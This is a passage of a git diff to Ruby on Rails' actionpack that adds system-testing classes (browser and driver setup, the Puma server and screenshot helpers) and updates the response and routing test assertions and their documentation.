+  # any driver that is supported by Capybara is supported by system tests as long
+  # as you include the required gems and files.
+  class SystemTestCase < ActiveSupport::TestCase
+    include Capybara::DSL
+    include Capybara::Minitest::Assertions
+    include SystemTesting::TestHelpers::SetupAndTeardown
+    include SystemTesting::TestHelpers::ScreenshotHelper
+
+    DEFAULT_HOST = "http://127.0.0.1"
+
+    def initialize(*) # :nodoc:
+      super
+      self.class.driven_by(:selenium) unless self.class.driver?
+      self.class.driver.use
+    end
+
+    def self.start_application # :nodoc:
+      Capybara.app = Rack::Builder.new do
+        map "/" do
+          run Rails.application
+        end
+      end
+
+      SystemTesting::Server.new.run
+    end
+
+    class_attribute :driver, instance_accessor: false
+
+    # System Test configuration options
+    #
+    # The default settings are Selenium, using Chrome, with a screen size of
+    # 1400x1400.
+    #
+    # Examples:
+    #
+    #     driven_by :cuprite
+    #
+    #     driven_by :selenium, screen_size: [800, 800]
+    #
+    #     driven_by :selenium, using: :chrome
+    #
+    #     driven_by :selenium, using: :headless_chrome
+    #
+    #     driven_by :selenium, using: :firefox
+    #
+    #     driven_by :selenium, using: :headless_firefox
+    def self.driven_by(driver, using: :chrome, screen_size: [1400, 1400], options: {}, &capabilities)
+      driver_options = { using: using, screen_size: screen_size, options: options }
+
+      self.driver = SystemTesting::Driver.new(driver, **driver_options, &capabilities)
+    end
+
+    # Configuration for the System Test application server.
+    #
+    # By default this is localhost. This method allows the host and port to be specified manually.
+    def self.served_by(host:, port:)
+      Capybara.server_host = host
+      Capybara.server_port = port
+    end
+
+    private
+      def url_helpers
+        @url_helpers ||=
+          if ActionDispatch.test_app
+            Class.new do
+              include ActionDispatch.test_app.routes.url_helpers
+              include ActionDispatch.test_app.routes.mounted_helpers
+
+              def url_options
+                default_url_options.reverse_merge(host: app_host)
+              end
+
+              def app_host
+                Capybara.app_host || Capybara.current_session.server_url || DEFAULT_HOST
+              end
+            end.new
+          end
+      end
+
+      def method_missing(name, ...)
+        if url_helpers.respond_to?(name)
+          url_helpers.public_send(name, ...)
+        else
+          super
+        end
+      end
+
+      def respond_to_missing?(name, include_private = false)
+        url_helpers.respond_to?(name)
+      end
+  end
+end
+
+ActiveSupport.run_load_hooks :action_dispatch_system_test_case, ActionDispatch::SystemTestCase
+ActionDispatch::SystemTestCase.start_application
diff --git a/actionpack/lib/action_dispatch/system_testing/browser.rb b/actionpack/lib/action_dispatch/system_testing/browser.rb
new file mode 100644
index 0000000000000..e08e487691352
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_testing/browser.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionDispatch
+  module SystemTesting
+    class Browser # :nodoc:
+      attr_reader :name
+
+      def initialize(name)
+        @name = name
+      end
+
+      def type
+        case name
+        when :headless_chrome
+          :chrome
+        when :headless_firefox
+          :firefox
+        else
+          name
+        end
+      end
+
+      def options
+        @options ||=
+          case type
+          when :chrome
+            default_chrome_options
+          when :firefox
+            default_firefox_options
+          end
+      end
+
+      def configure
+        yield options if block_given?
+      end
+
+      # driver_path is lazily initialized by default. Eagerly set it to avoid race
+      # conditions when using parallel tests.
+      def preload
+        case type
+        when :chrome
+          resolve_driver_path(::Selenium::WebDriver::Chrome)
+        when :firefox
+          resolve_driver_path(::Selenium::WebDriver::Firefox)
+        end
+      end
+
+      private
+        def default_chrome_options
+          options = ::Selenium::WebDriver::Chrome::Options.new
+          options.add_argument("--disable-search-engine-choice-screen")
+          options.add_argument("--headless") if name == :headless_chrome
+          options.add_argument("--disable-gpu") if Gem.win_platform?
+          options
+        end
+
+        def default_firefox_options
+          options = ::Selenium::WebDriver::Firefox::Options.new
+          options.add_argument("-headless") if name == :headless_firefox
+          options
+        end
+
+        def resolve_driver_path(namespace)
+          # The path method has been deprecated in 4.20.0
+          if Gem::Version.new(::Selenium::WebDriver::VERSION) >= Gem::Version.new("4.20.0")
+            namespace::Service.driver_path = ::Selenium::WebDriver::DriverFinder.new(options, namespace::Service.new).driver_path
+          else
+            namespace::Service.driver_path = ::Selenium::WebDriver::DriverFinder.path(options, namespace::Service)
+          end
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/system_testing/driver.rb b/actionpack/lib/action_dispatch/system_testing/driver.rb
new file mode 100644
index 0000000000000..6389ffa3389e5
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_testing/driver.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionDispatch
+  module SystemTesting
+    class Driver # :nodoc:
+      attr_reader :name
+
+      def initialize(driver_type, **options, &capabilities)
+        @driver_type = driver_type
+        @screen_size = options[:screen_size]
+        @options = options[:options] || {}
+        @name = @options.delete(:name) || driver_type
+        @capabilities = capabilities
+
+        if driver_type == :selenium
+          gem "selenium-webdriver", ">= 4.0.0"
+          require "selenium/webdriver"
+          @browser = Browser.new(options[:using])
+          @browser.preload unless @options[:browser] == :remote
+        else
+          @browser = nil
+        end
+      end
+
+      def use
+        register if registerable?
+
+        setup
+      end
+
+      private
+        def registerable?
+          [:selenium, :cuprite, :rack_test, :playwright].include?(@driver_type)
+        end
+
+        def register
+          @browser&.configure(&@capabilities)
+
+          Capybara.register_driver name do |app|
+            case @driver_type
+            when :selenium then register_selenium(app)
+            when :cuprite then register_cuprite(app)
+            when :rack_test then register_rack_test(app)
+            when :playwright then register_playwright(app)
+            end
+          end
+        end
+
+        def browser_options
+          @options.merge(options: @browser.options).compact
+        end
+
+        def register_selenium(app)
+          Capybara::Selenium::Driver.new(app, browser: @browser.type, **browser_options).tap do |driver|
+            driver.browser.manage.window.size = Selenium::WebDriver::Dimension.new(*@screen_size)
+          end
+        end
+
+        def register_cuprite(app)
+          Capybara::Cuprite::Driver.new(app, @options.merge(window_size: @screen_size))
+        end
+
+        def register_rack_test(app)
+          Capybara::RackTest::Driver.new(app, respect_data_method: true, **@options)
+        end
+
+        def register_playwright(app)
+          screen = { width: @screen_size[0], height: @screen_size[1] } if @screen_size
+          options = {
+            screen: screen,
+            viewport: screen,
+            **@options
+          }.compact
+
+          Capybara::Playwright::Driver.new(app, **options)
+        end
+
+        def setup
+          Capybara.current_driver = name
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/system_testing/server.rb b/actionpack/lib/action_dispatch/system_testing/server.rb
new file mode 100644
index 0000000000000..ae3e2e9c2c57a
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_testing/server.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionDispatch
+  module SystemTesting
+    class Server # :nodoc:
+      class << self
+        attr_accessor :silence_puma
+      end
+
+      self.silence_puma = false
+
+      def run
+        setup
+      end
+
+      private
+        def setup
+          set_server
+          set_port
+        end
+
+        def set_server
+          Capybara.server = :puma, { Silent: self.class.silence_puma } if Capybara.server == Capybara.servers[:default]
+        end
+
+        def set_port
+          Capybara.always_include_port = true
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper.rb b/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper.rb
new file mode 100644
index 0000000000000..3d4f5fb3e57fc
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper.rb
@@ -0,0 +1,164 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionDispatch
+  module SystemTesting
+    module TestHelpers
+      # Screenshot helper for system testing.
+      module ScreenshotHelper
+        # Takes a screenshot of the current page in the browser.
+        #
+        # `take_screenshot` can be used at any point in your system tests to take a
+        # screenshot of the current state. This can be useful for debugging or
+        # automating visual testing. You can take multiple screenshots per test to
+        # investigate changes at different points during your test. These will be named
+        # with a sequential prefix (or 'failed' for failing tests)
+        #
+        # The default screenshots directory is `tmp/screenshots` but you can set a
+        # different one with `Capybara.save_path`
+        #
+        # You can use the `html` argument or set the
+        # `RAILS_SYSTEM_TESTING_SCREENSHOT_HTML` environment variable to save the HTML
+        # from the page that is being screenshotted so you can investigate the elements
+        # on the page at the time of the screenshot
+        #
+        # You can use the `screenshot` argument or set the
+        # `RAILS_SYSTEM_TESTING_SCREENSHOT` environment variable to control the output.
+        # Possible values are:
+        #     `simple` (default)
+        # :       Only displays the screenshot path. This is the default value.
+        #
+        #     `inline`
+        # :       Display the screenshot in the terminal using the iTerm image protocol
+        #         (https://iterm2.com/documentation-images.html).
+        #
+        #     `artifact`
+        # :       Display the screenshot in the terminal, using the terminal artifact
+        #         format (https://buildkite.github.io/terminal-to-html/inline-images/).
+        #
+        #
+        def take_screenshot(html: false, screenshot: nil)
+          showing_html = html || html_from_env?
+
+          increment_unique
+          save_html if showing_html
+          save_image
+          show display_image(html: showing_html, screenshot_output: screenshot)
+        end
+
+        # Takes a screenshot of the current page in the browser if the test failed.
+        #
+        # `take_failed_screenshot` is called during system test teardown.
+        def take_failed_screenshot
+          return unless failed? && supports_screenshot? && Capybara::Session.instance_created?
+
+          take_screenshot
+          metadata[:failure_screenshot_path] = relative_image_path if Minitest::Runnable.method_defined?(:metadata)
+        end
+
+        private
+          attr_accessor :_screenshot_counter
+
+          def html_from_env?
+            ENV["RAILS_SYSTEM_TESTING_SCREENSHOT_HTML"] == "1"
+          end
+
+          def increment_unique
+            @_screenshot_counter ||= 0
+            @_screenshot_counter += 1
+          end
+
+          def unique
+            failed? ? "failures" : (_screenshot_counter || 0).to_s
+          end
+
+          def image_name
+            sanitized_method_name = method_name.gsub(/[^\w]+/, "-")
+            name = "#{unique}_#{sanitized_method_name}"
+            name[0...225]
+          end
+
+          def image_path
+            absolute_image_path.to_s
+          end
+
+          def html_path
+            absolute_html_path.to_s
+          end
+
+          def absolute_path
+            Rails.root.join(screenshots_dir, image_name)
+          end
+
+          def screenshots_dir
+            Capybara.save_path.presence || "tmp/screenshots"
+          end
+
+          def absolute_image_path
+            "#{absolute_path}.png"
+          end
+
+          def relative_image_path
+            "#{absolute_path.relative_path_from(Rails.root)}.png"
+          end
+
+          def absolute_html_path
+            "#{absolute_path}.html"
+          end
+
+          # rubocop:disable Lint/Debugger
+          def save_html
+            page.save_page(absolute_html_path)
+          end
+
+          def save_image
+            page.save_screenshot(absolute_image_path)
+          end
+          # rubocop:enable Lint/Debugger
+
+          def output_type
+            # Environment variables have priority
+            output_type = ENV["RAILS_SYSTEM_TESTING_SCREENSHOT"] || ENV["CAPYBARA_INLINE_SCREENSHOT"]
+
+            # Default to outputting a path to the screenshot
+            output_type ||= "simple"
+
+            output_type
+          end
+
+          def show(img)
+            puts img
+          end
+
+          def display_image(html:, screenshot_output:)
+            message = +"[Screenshot Image]: #{image_path} \n"
+            message << +"[Screenshot HTML]: #{html_path} \n" if html
+
+            case screenshot_output || output_type
+            when "artifact"
+              message << "\e]1338;url=artifact://#{absolute_image_path}\a\n"
+            when "inline"
+              name = inline_base64(File.basename(absolute_image_path))
+              image = inline_base64(File.read(absolute_image_path))
+              message << "\e]1337;File=name=#{name};height=400px;inline=1:#{image}\a\n"
+            end
+
+            message
+          end
+
+          def inline_base64(path)
+            Base64.strict_encode64(path)
+          end
+
+          def failed?
+            !passed? && !skipped?
+          end
+
+          def supports_screenshot?
+            Capybara.current_driver != :rack_test
+          end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/system_testing/test_helpers/setup_and_teardown.rb b/actionpack/lib/action_dispatch/system_testing/test_helpers/setup_and_teardown.rb
new file mode 100644
index 0000000000000..f0eb3459426a4
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_testing/test_helpers/setup_and_teardown.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionDispatch
+  module SystemTesting
+    module TestHelpers
+      module SetupAndTeardown # :nodoc:
+        def before_teardown
+          take_failed_screenshot
+        ensure
+          super
+        end
+
+        def after_teardown
+          Capybara.reset_sessions!
+        ensure
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/testing/assertion_response.rb b/actionpack/lib/action_dispatch/testing/assertion_response.rb
index c37726957e718..753285ac89cf3 100644
--- a/actionpack/lib/action_dispatch/testing/assertion_response.rb
+++ b/actionpack/lib/action_dispatch/testing/assertion_response.rb
@@ -1,7 +1,11 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
-  # This is a class that abstracts away an asserted response. It purposely
-  # does not inherit from Response because it doesn't need it. That means it
-  # does not have headers or a body.
+  # This is a class that abstracts away an asserted response. It purposely does
+  # not inherit from Response because it doesn't need it. That means it does not
+  # have headers or a body.
   class AssertionResponse
     attr_reader :code, :name
 
@@ -12,9 +16,9 @@ class AssertionResponse
       error: "5XX"
     }
 
-    # Accepts a specific response status code as an Integer (404) or String
-    # ('404') or a response status range as a Symbol pseudo-code (:success,
-    # indicating any 200-299 status code).
+    # Accepts a specific response status code as an Integer (404) or String ('404')
+    # or a response status range as a Symbol pseudo-code (:success, indicating any
+    # 200-299 status code).
     def initialize(code_or_name)
       if code_or_name.is_a?(Symbol)
         @name = code_or_name
@@ -33,9 +37,8 @@ def code_and_name
     end
 
     private
-
       def code_from_name(name)
-        GENERIC_RESPONSE_CODES[name] || Rack::Utils::SYMBOL_TO_STATUS_CODE[name]
+        GENERIC_RESPONSE_CODES[name] || ActionDispatch::Response.rack_status_code(name)
       end
 
       def name_from_code(code)
diff --git a/actionpack/lib/action_dispatch/testing/assertions.rb b/actionpack/lib/action_dispatch/testing/assertions.rb
index 4ea18d671d648..e32858ddcc88e 100644
--- a/actionpack/lib/action_dispatch/testing/assertions.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions.rb
@@ -1,10 +1,13 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "rails-dom-testing"
+require "action_dispatch/testing/assertions/response"
+require "action_dispatch/testing/assertions/routing"
 
 module ActionDispatch
   module Assertions
-    autoload :ResponseAssertions, "action_dispatch/testing/assertions/response"
-    autoload :RoutingAssertions, "action_dispatch/testing/assertions/routing"
-
     extend ActiveSupport::Concern
 
     include ResponseAssertions
@@ -12,10 +15,10 @@ module Assertions
     include Rails::Dom::Testing::Assertions
 
     def html_document
-      @html_document ||= if @response.content_type.to_s.end_with?("xml")
+      @html_document ||= if @response.media_type&.end_with?("xml")
         Nokogiri::XML::Document.parse(@response.body)
       else
-        Nokogiri::HTML::Document.parse(@response.body)
+        Rails::Dom::Testing.html_document.parse(@response.body)
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/response.rb b/actionpack/lib/action_dispatch/testing/assertions/response.rb
index 817737341ce09..816d5f6192728 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/response.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/response.rb
@@ -1,6 +1,10 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Assertions
-    # A small suite of assertions that test responses from \Rails applications.
+    # A small suite of assertions that test responses from Rails applications.
     module ResponseAssertions
       RESPONSE_PREDICATES = { # :nodoc:
         success:  :successful?,
@@ -11,56 +15,76 @@ module ResponseAssertions
 
       # Asserts that the response is one of the following types:
       #
-      # * <tt>:success</tt>   - Status code was in the 200-299 range
-      # * <tt>:redirect</tt>  - Status code was in the 300-399 range
-      # * <tt>:missing</tt>   - Status code was 404
-      # * <tt>:error</tt>     - Status code was in the 500-599 range
+      # *   `:success`   - Status code was in the 200-299 range
+      # *   `:redirect`  - Status code was in the 300-399 range
+      # *   `:missing`   - Status code was 404
+      # *   `:error`     - Status code was in the 500-599 range
       #
-      # You can also pass an explicit status number like <tt>assert_response(501)</tt>
-      # or its symbolic equivalent <tt>assert_response(:not_implemented)</tt>.
-      # See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list.
       #
-      #   # Asserts that the response was a redirection
-      #   assert_response :redirect
+      # You can also pass an explicit status number like `assert_response(501)` or its
+      # symbolic equivalent `assert_response(:not_implemented)`. See
+      # `Rack::Utils::SYMBOL_TO_STATUS_CODE` for a full list.
       #
-      #   # Asserts that the response code was status code 401 (unauthorized)
-      #   assert_response 401
+      #     # Asserts that the response was a redirection
+      #     assert_response :redirect
+      #
+      #     # Asserts that the response code was status code 401 (unauthorized)
+      #     assert_response 401
       def assert_response(type, message = nil)
         message ||= generate_response_message(type)
 
-        if RESPONSE_PREDICATES.keys.include?(type)
-          assert @response.send(RESPONSE_PREDICATES[type]), message
+        if RESPONSE_PREDICATES.key?(type)
+          assert @response.public_send(RESPONSE_PREDICATES[type]), message
         else
           assert_equal AssertionResponse.new(type).code, @response.response_code, message
         end
       end
 
-      # Asserts that the redirection options passed in match those of the redirect called in the latest action.
-      # This match can be partial, such that <tt>assert_redirected_to(controller: "weblog")</tt> will also
-      # match the redirection of <tt>redirect_to(controller: "weblog", action: "show")</tt> and so on.
+      # Asserts that the response is a redirect to a URL matching the given options.
+      #
+      #     # Asserts that the redirection was to the "index" action on the WeblogController
+      #     assert_redirected_to controller: "weblog", action: "index"
       #
-      #   # Asserts that the redirection was to the "index" action on the WeblogController
-      #   assert_redirected_to controller: "weblog", action: "index"
+      #     # Asserts that the redirection was to the named route login_url
+      #     assert_redirected_to login_url
       #
-      #   # Asserts that the redirection was to the named route login_url
-      #   assert_redirected_to login_url
+      #     # Asserts that the redirection was to the URL for @customer
+      #     assert_redirected_to @customer
       #
-      #   # Asserts that the redirection was to the url for @customer
-      #   assert_redirected_to @customer
+      #     # Asserts that the redirection matches the regular expression
+      #     assert_redirected_to %r(\Ahttp://example.org)
       #
-      #   # Asserts that the redirection matches the regular expression
-      #   assert_redirected_to %r(\Ahttp://example.org)
-      def assert_redirected_to(options = {}, message = nil)
-        assert_response(:redirect, message)
-        return true if options === @response.location
+      #     # Asserts that the redirection has the HTTP status code 301 (Moved
+      #     # Permanently).
+      #     assert_redirected_to "/some/path", status: :moved_permanently
+      def assert_redirected_to(url_options = {}, options = {}, message = nil)
+        options, message = {}, options unless options.is_a?(Hash)
+
+        status = options[:status] || :redirect
+        assert_response(status, message)
+        return true if url_options === @response.location
 
         redirect_is       = normalize_argument_to_redirection(@response.location)
-        redirect_expected = normalize_argument_to_redirection(options)
+        redirect_expected = normalize_argument_to_redirection(url_options)
 
         message ||= "Expected response to be a redirect to <#{redirect_expected}> but was a redirect to <#{redirect_is}>"
         assert_operator redirect_expected, :===, redirect_is, message
       end
 
+      # Asserts that the given +text+ is present somewhere in the response body.
+      #
+      #     assert_in_body fixture(:name).description
+      def assert_in_body(text)
+        assert_match(/#{Regexp.escape(text)}/, @response.body)
+      end
+
+      # Asserts that the given +text+ is not present anywhere in the response body.
+      #
+      #     assert_not_in_body fixture(:name).description
+      def assert_not_in_body(text)
+        assert_no_match(/#{Regexp.escape(text)}/, @response.body)
+      end
+
       private
         # Proxy to to_param if the object will respond to it.
         def parameterize(value)
@@ -77,9 +101,13 @@ def normalize_argument_to_redirection(fragment)
         end
 
         def generate_response_message(expected, actual = @response.response_code)
-          "Expected response to be a <#{code_with_name(expected)}>,"\
-          " but was a <#{code_with_name(actual)}>"
-            .concat(location_if_redirected).concat(response_body_if_short)
+          lambda do
+            (+"Expected response to be a <#{code_with_name(expected)}>,"\
+             " but was a <#{code_with_name(actual)}>").
+              concat(location_if_redirected).
+              concat(exception_if_present).
+              concat(response_body_if_short)
+          end
         end
 
         def response_body_if_short
@@ -87,6 +115,11 @@ def response_body_if_short
           "\nResponse body: #{@response.body}"
         end
 
+        def exception_if_present
+          return "" unless ex = @request&.env&.[]("action_dispatch.exception")
+          "\n\nException while processing request: #{Minitest::UnexpectedError.new(ex).message}\n"
+        end
+
         def location_if_redirected
           return "" unless @response.redirection? && @response.location.present?
           location = normalize_argument_to_redirection(@response.location)
@@ -94,7 +127,7 @@ def location_if_redirected
         end
 
         def code_with_name(code_or_name)
-          if RESPONSE_PREDICATES.values.include?("#{code_or_name}?".to_sym)
+          if RESPONSE_PREDICATES.value?("#{code_or_name}?".to_sym)
             code_or_name = RESPONSE_PREDICATES.invert["#{code_or_name}?".to_sym]
           end
 
diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
index 37c1ca02b6fb1..af1131d519e48 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/routing.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
@@ -1,42 +1,178 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "uri"
 require "active_support/core_ext/hash/indifferent_access"
 require "active_support/core_ext/string/access"
+require "active_support/core_ext/module/redefine_method"
 require "action_controller/metal/exceptions"
 
 module ActionDispatch
   module Assertions
-    # Suite of assertions to test routes generated by \Rails and the handling of requests made to them.
+    # Suite of assertions to test routes generated by Rails and the handling of
+    # requests made to them.
     module RoutingAssertions
-      # Asserts that the routing of the given +path+ was handled correctly and that the parsed options (given in the +expected_options+ hash)
-      # match +path+. Basically, it asserts that \Rails recognizes the route given by +expected_options+.
+      extend ActiveSupport::Concern
+
+      module WithIntegrationRouting # :nodoc:
+        extend ActiveSupport::Concern
+
+        module ClassMethods
+          def with_routing(&block)
+            old_routes = nil
+            old_routes_call_method = nil
+            old_integration_session = nil
+
+            setup do
+              old_routes = initialize_lazy_routes(app.routes)
+              old_routes_call_method = old_routes.method(:call)
+              old_integration_session = integration_session
+              create_routes(&block)
+            end
+
+            teardown do
+              reset_routes(old_routes, old_routes_call_method, old_integration_session)
+            end
+          end
+        end
+
+        def with_routing(&block)
+          old_routes = initialize_lazy_routes(app.routes)
+          old_routes_call_method = old_routes.method(:call)
+          old_integration_session = integration_session
+          create_routes(&block)
+        ensure
+          reset_routes(old_routes, old_routes_call_method, old_integration_session)
+        end
+
+        private
+          def initialize_lazy_routes(routes)
+            if defined?(Rails::Engine::LazyRouteSet) && routes.is_a?(Rails::Engine::LazyRouteSet)
+              routes.tap(&:routes)
+            else
+              routes
+            end
+          end
+
+          def create_routes
+            app = self.app
+            routes = ActionDispatch::Routing::RouteSet.new
+
+            @original_routes ||= app.routes
+            @original_routes.singleton_class.redefine_method(:call, &routes.method(:call))
+
+            https = integration_session.https?
+            host = integration_session.host
+
+            app.instance_variable_set(:@routes, routes)
+            @integration_session = Class.new(ActionDispatch::Integration::Session) do
+              include app.routes.url_helpers
+              include app.routes.mounted_helpers
+            end.new(app)
+            @integration_session.https! https
+            @integration_session.host! host
+            @routes = routes
+
+            yield routes
+          end
+
+          def reset_routes(old_routes, old_routes_call_method, old_integration_session)
+            app.instance_variable_set(:@routes, old_routes)
+            @original_routes.singleton_class.redefine_method(:call, &old_routes_call_method)
+            @integration_session = old_integration_session
+            @routes = old_routes
+          end
+      end
+
+      module ClassMethods
+        # A helper to make it easier to test different route configurations. This method
+        # temporarily replaces @routes with a new RouteSet instance before each test.
+        #
+        # The new instance is yielded to the passed block. Typically the block will
+        # create some routes using `set.draw { match ... }`:
+        #
+        #     with_routing do |set|
+        #       set.draw do
+        #         resources :users
+        #       end
+        #     end
+        #
+        def with_routing(&block)
+          old_routes, old_controller = nil
+
+          setup do
+            old_routes, old_controller = @routes, @controller
+            create_routes(&block)
+          end
+
+          teardown do
+            reset_routes(old_routes, old_controller)
+          end
+        end
+      end
+
+      def setup # :nodoc:
+        @routes ||= nil
+        super
+      end
+
+      # A helper to make it easier to test different route configurations. This method
+      # temporarily replaces @routes with a new RouteSet instance.
+      #
+      # The new instance is yielded to the passed block. Typically the block will
+      # create some routes using `set.draw { match ... }`:
+      #
+      #     with_routing do |set|
+      #       set.draw do
+      #         resources :users
+      #       end
+      #       assert_equal "/users", users_path
+      #     end
+      #
+      def with_routing(config = nil, &block)
+        old_routes, old_controller = @routes, @controller
+        create_routes(config, &block)
+      ensure
+        reset_routes(old_routes, old_controller)
+      end
+
+      # Asserts that the routing of the given `path` was handled correctly and that
+      # the parsed options (given in the `expected_options` hash) match `path`.
+      # Basically, it asserts that Rails recognizes the route given by
+      # `expected_options`.
       #
-      # Pass a hash in the second argument (+path+) to specify the request method. This is useful for routes
-      # requiring a specific HTTP method. The hash should contain a :path with the incoming request path
-      # and a :method containing the required HTTP verb.
+      # Pass a hash in the second argument (`path`) to specify the request method.
+      # This is useful for routes requiring a specific HTTP method. The hash should
+      # contain a `:path` with the incoming request path and a `:method` containing
+      # the required HTTP verb.
       #
-      #   # Asserts that POSTing to /items will call the create action on ItemsController
-      #   assert_recognizes({controller: 'items', action: 'create'}, {path: 'items', method: :post})
+      #     # Asserts that POSTing to /items will call the create action on ItemsController
+      #     assert_recognizes({controller: 'items', action: 'create'}, {path: 'items', method: :post})
       #
-      # You can also pass in +extras+ with a hash containing URL parameters that would normally be in the query string. This can be used
-      # to assert that values in the query string will end up in the params hash correctly. To test query strings you must use the
-      # extras argument, appending the query string on the path directly will not work. For example:
+      # You can also pass in `extras` with a hash containing URL parameters that would
+      # normally be in the query string. This can be used to assert that values in the
+      # query string will end up in the params hash correctly. To test query strings
+      # you must use the extras argument because appending the query string on the
+      # path directly will not work. For example:
       #
-      #   # Asserts that a path of '/items/list/1?view=print' returns the correct options
-      #   assert_recognizes({controller: 'items', action: 'list', id: '1', view: 'print'}, 'items/list/1', { view: "print" })
+      #     # Asserts that a path of '/items/list/1?view=print' returns the correct options
+      #     assert_recognizes({controller: 'items', action: 'list', id: '1', view: 'print'}, 'items/list/1', { view: "print" })
       #
-      # The +message+ parameter allows you to pass in an error message that is displayed upon failure.
+      # The `message` parameter allows you to pass in an error message that is
+      # displayed upon failure.
       #
-      #   # Check the default route (i.e., the index action)
-      #   assert_recognizes({controller: 'items', action: 'index'}, 'items')
+      #     # Check the default route (i.e., the index action)
+      #     assert_recognizes({controller: 'items', action: 'index'}, 'items')
       #
-      #   # Test a specific action
-      #   assert_recognizes({controller: 'items', action: 'list'}, 'items/list')
+      #     # Test a specific action
+      #     assert_recognizes({controller: 'items', action: 'list'}, 'items/list')
       #
-      #   # Test an action with a parameter
-      #   assert_recognizes({controller: 'items', action: 'destroy', id: '1'}, 'items/destroy/1')
+      #     # Test an action with a parameter
+      #     assert_recognizes({controller: 'items', action: 'destroy', id: '1'}, 'items/destroy/1')
       #
-      #   # Test a custom route
-      #   assert_recognizes({controller: 'items', action: 'show', id: '1'}, 'view/item1')
+      #     # Test a custom route
+      #     assert_recognizes({controller: 'items', action: 'show', id: '1'}, 'view/item1')
       def assert_recognizes(expected_options, path, extras = {}, msg = nil)
         if path.is_a?(Hash) && path[:method].to_s == "all"
           [:get, :post, :put, :delete].each do |method|
@@ -58,33 +194,34 @@ def assert_recognizes(expected_options, path, extras = {}, msg = nil)
         end
       end
 
-      # Asserts that the provided options can be used to generate the provided path. This is the inverse of +assert_recognizes+.
-      # The +extras+ parameter is used to tell the request the names and values of additional request parameters that would be in
-      # a query string. The +message+ parameter allows you to specify a custom error message for assertion failures.
+      # Asserts that the provided options can be used to generate the provided path.
+      # This is the inverse of `assert_recognizes`. The `extras` parameter is used to
+      # tell the request the names and values of additional request parameters that
+      # would be in a query string. The `message` parameter allows you to specify a
+      # custom error message for assertion failures.
       #
-      # The +defaults+ parameter is unused.
+      # The `defaults` parameter is unused.
       #
-      #   # Asserts that the default action is generated for a route with no action
-      #   assert_generates "/items", controller: "items", action: "index"
+      #     # Asserts that the default action is generated for a route with no action
+      #     assert_generates "/items", controller: "items", action: "index"
       #
-      #   # Tests that the list action is properly routed
-      #   assert_generates "/items/list", controller: "items", action: "list"
+      #     # Tests that the list action is properly routed
+      #     assert_generates "/items/list", controller: "items", action: "list"
       #
-      #   # Tests the generation of a route with a parameter
-      #   assert_generates "/items/list/1", { controller: "items", action: "list", id: "1" }
+      #     # Tests the generation of a route with a parameter
+      #     assert_generates "/items/list/1", { controller: "items", action: "list", id: "1" }
       #
-      #   # Asserts that the generated route gives us our custom route
-      #   assert_generates "changesets/12", { controller: 'scm', action: 'show_diff', revision: "12" }
+      #     # Asserts that the generated route gives us our custom route
+      #     assert_generates "changesets/12", { controller: 'scm', action: 'show_diff', revision: "12" }
       def assert_generates(expected_path, options, defaults = {}, extras = {}, message = nil)
-        if expected_path =~ %r{://}
+        if expected_path.include?("://")
           fail_on(URI::InvalidURIError, message) do
             uri = URI.parse(expected_path)
             expected_path = uri.path.to_s.empty? ? "/" : uri.path
           end
         else
-          expected_path = "/#{expected_path}" unless expected_path.first == "/"
+          expected_path = "/#{expected_path}" unless expected_path.start_with?("/")
         end
-        # Load routes.rb if it hasn't been loaded.
 
         options = options.clone
         generated_path, query_string_keys = @routes.generate_extras(options, defaults)
@@ -98,27 +235,28 @@ def assert_generates(expected_path, options, defaults = {}, extras = {}, message
         assert_equal(expected_path, generated_path, msg)
       end
 
-      # Asserts that path and options match both ways; in other words, it verifies that <tt>path</tt> generates
-      # <tt>options</tt> and then that <tt>options</tt> generates <tt>path</tt>. This essentially combines +assert_recognizes+
-      # and +assert_generates+ into one step.
+      # Asserts that path and options match both ways; in other words, it verifies
+      # that `path` generates `options` and then that `options` generates `path`. This
+      # essentially combines `assert_recognizes` and `assert_generates` into one step.
       #
-      # The +extras+ hash allows you to specify options that would normally be provided as a query string to the action. The
-      # +message+ parameter allows you to specify a custom error message to display upon failure.
+      # The `extras` hash allows you to specify options that would normally be
+      # provided as a query string to the action. The `message` parameter allows you
+      # to specify a custom error message to display upon failure.
       #
-      #  # Asserts a basic route: a controller with the default action (index)
-      #  assert_routing '/home', controller: 'home', action: 'index'
+      #     # Asserts a basic route: a controller with the default action (index)
+      #     assert_routing '/home', controller: 'home', action: 'index'
       #
-      #  # Test a route generated with a specific controller, action, and parameter (id)
-      #  assert_routing '/entries/show/23', controller: 'entries', action: 'show', id: 23
+      #     # Test a route generated with a specific controller, action, and parameter (id)
